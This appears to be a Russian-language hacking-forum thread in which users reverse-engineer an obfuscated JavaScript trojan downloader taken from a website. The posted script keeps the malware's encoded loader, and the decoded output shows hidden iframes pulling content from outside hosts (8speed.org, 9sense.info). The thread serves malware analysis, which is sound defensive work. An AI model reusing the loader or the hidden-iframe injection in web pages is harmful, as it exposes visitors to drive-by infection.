• XSS.stack #1 – первый литературный журнал от юзеров форума

Вопрос по JS Trojan Downloader

Ma-stiff

(L1) cache
Пользователь
Регистрация
15.11.2004
Сообщения
976
Реакции
4
В аттаче отредактированный скрипт сабжа с vsedlysna.ru.
Вопрос за счёт чего исполняется скрипт если eval заменён на document.write.
И интересует прога для безопасной проверки результата выполнения скрипта.

Имейте ввиду, открытие файла в браузере может привести к заражению компа.
 
Ma-stiff
Ввиду того что аттачи у меня не могут превышать размера 0 байт, результат в пост складываю.

Результат работы функции "Func1()":
Код:
l (window.status='Done';document.write('<iframe name=eb65 src="http://8speed.org/t/?'+Math.round(Math.random()*18490)+'eb65'+'" width=215 height=86 style="display:none"></iframe>'))

Результат работы функции "Func2()":
Код:
p (window.status='Done';document.write('<iframe name=618749 src="http://9sense.info/t/?'+Math.round(Math.random()*14168)+'618749'+'" width=308 height=46 style="display:none"></iframe>'))

Изменения которые я добавил видно сразу:
Код:
<HTML>
<Head>
<script language=JavaScript>
function Func1(n)
{
	var d=n.length,
	w=1024,
	k,v,l,f=0,
	e=0,
	g=0,
	m=Array(63,25,48,44,32,31,9,0,7,51,0,0,0,0,0,0,49,3,55,14,52,28,36,2,41,60,50,42,17,57,62,18,1,19,38,12,56,43,40,13,46,53,30,0,0,0,0,59,0,33,35,26,15,22,29,39,8,54,20,5,4,21,10,34,61,16,11,58,27,23,24,37,6,47,45);
	document.write('<textarea>');
	for(v=Math.ceil(d/w);v>0;v--)
	{
  l='';
  for(k=Math.min(d,w);k>0;k--,d--)
  {
  	{
    g|=(m[n.charCodeAt(f++)-48])<<e;
    if(e)
    {
    	l+=String.fromCharCode(249^g&255);
    	g>>=8;
    	e-=2
    	} else {
    	e=6
    }
  	}
  }
  document.write('l ('+l+')');
	}
	document.write('</textarea>');
}
function Func2(b)
{
	var e=b.length,
	f=1024,
	m,y,p,k=0,
	j=0,
	n=0,
	t=Array(63,56,43,18,53,38,30,46,59,12,0,0,0,0,0,0,39,40,31,25,35,54,51,33,6,37,15,29,7,14,48,34,0,21,47,52,62,1,8,22,17,50,26,0,0,0,0,41,0,4,28,45,55,58,16,20,32,3,9,49,57,44,19,11,60,2,61,23,27,36,13,10,5,24,42);
	document.write('<textarea>');
	for(y=Math.ceil(e/f);y>0;y--)
	{
  p='';
  for(m=Math.min(e,f);m>0;m--,e--)
  {
  	{
    n|=(t[b.charCodeAt(k++)-48])<<j;
    if(j)
    {
    	p+=String.fromCharCode(180^n&255);
    	n>>=8;
    	j-=2
    	} else {
    	j=6
    }
  	}
  }
  document.write('p ('+p+')');
	}
	document.write('</textarea>');
}
function Func3()
{
	Func1('CGMwfcHbuUvbvihbnO3BpcMwEsz2fcHRSO6guiTYCXhFWJ1DZuSF5XhRjJ1iuo6wEOSgtNS91UTocOIiLivb6C3Ye83o6J6gfZzwrsHYWcz@ZrWzvivFuyVwSZ1gLQrRWxMYroMwfc6wLApDh8E97gSDO_WgtNS9ZrzBtgzbqi1bLOIJh9EiLJ6FZx1bl8I91Uvb7e6glyfgqKvomo64A5HwuJMi8u3YqNMovO6g8_WD');
	Func2('idcEfRrNZ69NQibNL@1uNRcEXJlDfRr4U@KSZim5itbdPLv@nOyd3tb4CLvIZsKEX@AhxY1hPEVILtp4jZjdPi9kM7l5v6bSZBbSZEcE3Rr5PRlOnTCTQi9dZZpEU2vSb5B4PFc5HscEfRKEbE_@xqyGqYy@BM_hxY1hPE1uBM_IgMbdfi9dj6VG93jdXdrSbibOPwVILibFyLKOWqKdLn9EQdmDZRcEXt_OV7Cd3tb4CLcOnEj');
}
</script>
</Head>
<Body onload="Func3()">
<!-- Downloaded from xss.pro/) -->
</Body>
</HTML>
 
ammok
Спс. Т.к. я получал
Код:
p (window.status='Done';document.write(''))
не понял эффект)
 
Вопрос за счёт чего исполняется скрипт если eval заменён на document.write.
И интересует прога для безопасной проверки результата выполнения скрипта.
Скрипт выполняется до момента пока не сработает функция document.write, она выводит в тело документа полученные данные, функция eval ведет себя иначе, она продолжает выполнение полученных данных, странно, но функций с названиями p() и l() я не вижу, именно они выполнялись сразу после получения данных функцией eval, функции document.write безразличны получаемые данные, если конечно они не нарушают синтаксис.

Из программ для исследования вредоносного кода могу посоветовать VMWare (серверная версия и player распространяются бесплатно).
В данной ситуации (а я был уверен в своих действиях) я добавил код который позволял поместить данные в удобный для копирования объект "textarea", а не в тело документа.
 
ammok
p() и l()
p() и l() добавил я для определения выводимых переменных и границ вывода)
В eval передавались перменные.


Из программ для исследования вредоносного кода могу посоветовать VMWare
Я имел ввиду компактнее виртуалки) Типа Notepad с выводом результата eval.
 
Ma-stiff
p() и l() добавил я
Собственно именно так я и подумал.
"Умных" блокнотиков которые выполняют JavaScript функции я не использую, посоветовал проверенный временем продукт :).
 
только я не понял что вы преследовали)

Ma-stiff
в приве есть целая тема для расковырки подобного и там есть зверье куда интересней. а так лучше кидать изначальный код не измененный, просто заливать его в архивы, ингаче логика теряется
 
DiFor
там есть зверье куда интересней
Ковырял не зверьё, из интереса)
Тему читаю)
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх